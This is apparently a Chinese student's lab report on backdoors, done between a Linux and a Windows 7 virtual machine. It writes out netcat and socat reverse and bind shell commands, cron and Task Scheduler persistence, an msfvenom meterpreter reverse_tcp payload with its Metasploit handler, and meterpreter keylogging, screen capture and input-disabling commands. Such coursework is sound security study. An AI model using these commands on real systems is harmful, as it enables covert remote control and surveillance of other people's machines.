Exp2 后门原理与实践

准备工作

1. 查看Linux和Win的IP地址,ping通
  • Linux地址

    Win7地址

  • ping

2.下载ncat并装载到win7主机
3.下载socat并装载到win7主机

使用netcat获取主机操作Shell,cron启动

Linux获得win7 Shell

  • linux作为攻击方,win7作为靶机
  • linux打开8125端口,开始监听
nc -l -p 8125
  • win7反弹链接Linux
ncat.exe -e cmd.exe 192.168.72.130 8125     //-e filename:连接后执行该文件
  • linux下看到win7的命令提示

Win7获得Linux Shell

  • win7作为攻击方,Linux作为靶机
  • win7使用ncat,监听端口5218
ncat.exe -l -p 5218  //-l:设置监听模式,-p:端口

  • Linux反弹连接win7
ncat 192.168.72.116 5218 -e /bin/sh
  • win7下获得一个linux shell,可运行任何指令

Cron启动

什么是crontab

cron是linux下的定时执行工具。crontab是使用cron的命令,该命令从标准输入设备读取指令,并将其存放于“crontab”文件中,以供之后读取和执行。

简单理解了一下就是写一个程序,可以规定哪年哪月哪日什么时间、或者一个周期(年、月、日、周、小时)内的具体时间执行一个命令。由于cron是每分钟运行一次,所以可以具体到分钟。指令格式如下:

crontab指令基本格式 : 

*  *  *  *  *  command 

分 时 日 月 周 命令 

第1列表示分钟1~59 每分钟用*或者 */1表示 

第2列表示小时1~23(0表示0点) 

第3列表示日期1~31 

第4列表示月份1~12 

第5列标识号星期0~6(0表示星期天) 

第6列要运行的命令 

实验步骤
  • win7下打开监听,监听端口5218
ncat.exe -l -p 5218
  • linux下
crontab -e     // crontab指令增加一条定时任务,"-e"表示编辑
no crontab for root - using an empty one Select an editor. To change later, run 'select-editor'.
1. /usr/bin/vim.gtk
2. /bin/nano <---- easiest
3. /usr/bin/vim.basic
4. /usr/bin/mcedit
5. /usr/bin/vim.tiny Choose 1-5 [2]: 3 //选择编辑器3

  • (根据前文crontab格式)修改最后一行指令
55 * * * * nc 192.168.72.116 5218 -e/bin/sh
//当时是51分,设置为55分便于观察结果

  • 静静等待~
  • win7下获得Linux shell

使用socat获取主机操作Shell, 任务计划启动

socat是什么

socat的介绍与使用

实验步骤

  • win7下打开计算机管理->任务计划程序->创建任务

  • 输入任务名,新建触发器,这里第一次做的时候我没有设置触发器,所以任务不启动

  • 新建操作,在“程序或脚本”内添加拷贝好的socat.exe路径,在添加参数一栏写入

tcp-listen:5218 exec:cmd.exe,pty,stderr
//监听5218端口
//把cmd.exe绑定到端口5218

  • linux下,输入
socat - tcp:192.168.72.116:5218 //这个命令等同于nc 192.168.72.116 5218
  • 到了设置好的触发时间后,即可获得win7的cmd

并不是监听端一定是攻击方,反弹连接的也不一定就是靶机。在双方的连接过程中,谁绑定了shell,谁就暴露了shell,就会被对方获得。


使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

什么是meterpreter

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。

实验步骤

  • Linux下,生成后门程序
msfvenom  -p windows/meterpreter/reverse_tcp LHOST192.168.72.130 LPORT=5218 -f exe > bd5218.exe
//控制端ip

  • 利用ncat传输文件到系统
/*win7*/
ncat.exe -l 5218 > bd5218.exe
/*linux*/
nc 192.168.72.116 5218 < bd5218.exe

传输成功

  • msfconsole linux下进入msf控制台(据说每次进入图案都不一眼,我这是什么?小幽灵吗!)

/*开启监听模块,设置payload*/
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp /*设置反弹回连的ip和端口*/
set LHOST 192.168.72.130
set LPORT 5218 /*执行监听*/
exploit

  • win7下运行后门程序,
bd5218.exe

可以看到linux已经获得了win7的shell


使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 通过help命令可以查看meterpreter能够实现的功能,有好多!

  • 尝试截屏

  • 击键记录,这里我是没有在任何文件内输入直接瞎敲的,居然也记录下来了,真的可怕∑(っ°Д°;)っ

  • 音频录制,-d设置时间

提权

  • 开始不太懂,去百度了一下“提权”是什么(其实看完了还是有点懵):

提高自己在服务器中的权限,主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升WEBSHELL权限以夺得该服务器权限。

  • 看了这些好像明白了

就比如在windows中你本身登录的用户是guest,然后通过提权后就变成超级管理员,拥有了管理Windows的所有权限。提权是黑客的专业名词,一般用于网站入侵和系统入侵中。


基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

从网上下载一些来源不可靠的文件,或者点进去一个挂马网站?

(2)例举你知道的后门如何启动起来(win及linux)的方式?

开机自启动,或者伪装成一个正常的程序,用户就中招了

(3)Meterpreter有哪些给你映像深刻的功能?
  • uictl指令还挺令我印象深刻的,如果自己的电脑出了这种问题应该会慌得不行吧
/*开启或禁止键盘/鼠标*/
uictl [enable/disable] [keyboard/mouse/all] uictl disable keyboard //Σσ(・Д・;)键盘不能用了!
uictl disable mouse //了∑(っ°Д°;)っ鼠标也不能用!
uictl enable all //赶紧打开打开……

  • 还有这个
Stdapi: Audio Output Commands
============================= Command Description
------- -----------
play play an audio file on target system, nothing written on disk

感觉好像有点好玩,但还没做出来,虽然显示了“正在播放”,但是win7上没声音,哭辽

(4)如何发现自己有系统有没有被安装后门?

感觉杀毒软件还是蛮可靠的,然后就平常不要去不正规的网站乱下东西就行

放到自己主机上立刻给我查出来了


实验总结与体会

感觉这次实验做起来还是蛮有趣的,但同时也让我意识到了系统安全的重要性,meterpreter功能这么强大,不也意味着自己的电脑一旦被植入了后门,后果的严重性吗?完全就是待宰的羔羊了,人家想干嘛干嘛,想看什么看什么,没有丝毫隐私可言了


问题与解决

  • Question1

    • 开始使用ipconfig查询win7的地址是,显示是10.1.1.116,无法与Linux主机ping通

    • 将Win7的ip地址修改到与Linux同一网段即可

20165218 《网络对抗技术》Exp2 后门原理与实践的更多相关文章

  1. 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践

    2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...

  2. 20155326刘美岑 《网络对抗》Exp2 后门原理与实践

    20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  3. 20155320《网络对抗》Exp2 后门原理与实践

    20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...

  4. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  5. 20155208徐子涵《网络对抗》Exp2 后门原理与实践

    20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...

  6. 20145236《网络对抗》Exp2 后门原理与实践

    20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...

  7. 20155202 张旭《网络对抗》Exp2 后门原理与实践

    20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...

  8. 20155218《网络对抗》Exp2 后门原理与实践

    20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...

  9. 20155227《网络对抗》Exp2 后门原理与实践

    20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...

  10. 20155232《网络对抗》Exp2 后门原理与实践

    20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...

随机推荐

  1. jQuery的基本使用

    一.jQuery简介 jQuery是一个快速.简洁的JavaScript框架,它封装了JavaScript常用的功能代码,提供一种简便的JavaScript设计模式,优化HTML文档操作.事件处理.动 ...

  2. 团队冲刺--six

    昨天: 司宇航:合并版块,但部分有缺陷. 马佳慧:研究css. 王金萱:写注册界面. 季方:  研究爬虫,精确的处理数据. 今天: 司宇航:测试功能版块,优化功能版块. 马佳慧:优化界面 . 王金萱: ...

  3. Servlet学习小结

    最近有点小累啊,上课平均一天6小时,再去修一修代码就没什么多的时间了.现在写我最近学习的成果:想想最近软件工程老师留的题目,我还有一些重要的地方没有想清楚.题目是这样的:生成四则运算的题目,算术题目包 ...

  4. Codeforces Round #284 (Div. 1) C. Array and Operations 二分图最大匹配

    题目链接: http://codeforces.com/problemset/problem/498/C C. Array and Operations time limit per test1 se ...

  5. Good Time 冲刺 五

    一.今日完成任务情况及遇到的问题 第五天 日期:2018.6.18 王怡镔:今天继续在学习中完善编写页面,对之前的页面进行部分改进. 于鑫宇:修改完善布局,复习. 胡雅馨:今天继续改进页面,努力解决时 ...

  6. CountVectorizer,Tf-idfVectorizer和word2vec构建词向量的区别

    CountVectorizer和Tf-idfVectorizer构建词向量都是通过构建字典的方式,比如在情感分析问题中,我需要把每一个句子(评论)转化为词向量,这两种方法是如何构建的呢?拿CountV ...

  7. C语言中Union类型的使用方法

    转自:http://blog.csdn.net/feimor/article/details/6858103 使用C语言时,常常使用struct,对于union类型却几乎没有用过,只知道它是联合类型, ...

  8. 关于“scrum站立会议”

    每日站立会议是SCRUM方法中的一条关键实践,整个会议可能会比较混乱粗略,但推进进度的目标却非常清晰明确,并促使团队齐心协力朝共同目标迈进. 站立会议的功能很简单,作为一个以简短为特点的项目会议,所有 ...

  9. ORACLE LOG的管理

    CREATE OR REPLACE PACKAGE PLOG IS /** * package name : PLOG *<br/> *<br/> *See : <a h ...

  10. Thread的start和run的区别

    最近看到一个题目,代码如下: public static void main(String args[]) { Thread t = new Thread() { public void run() ...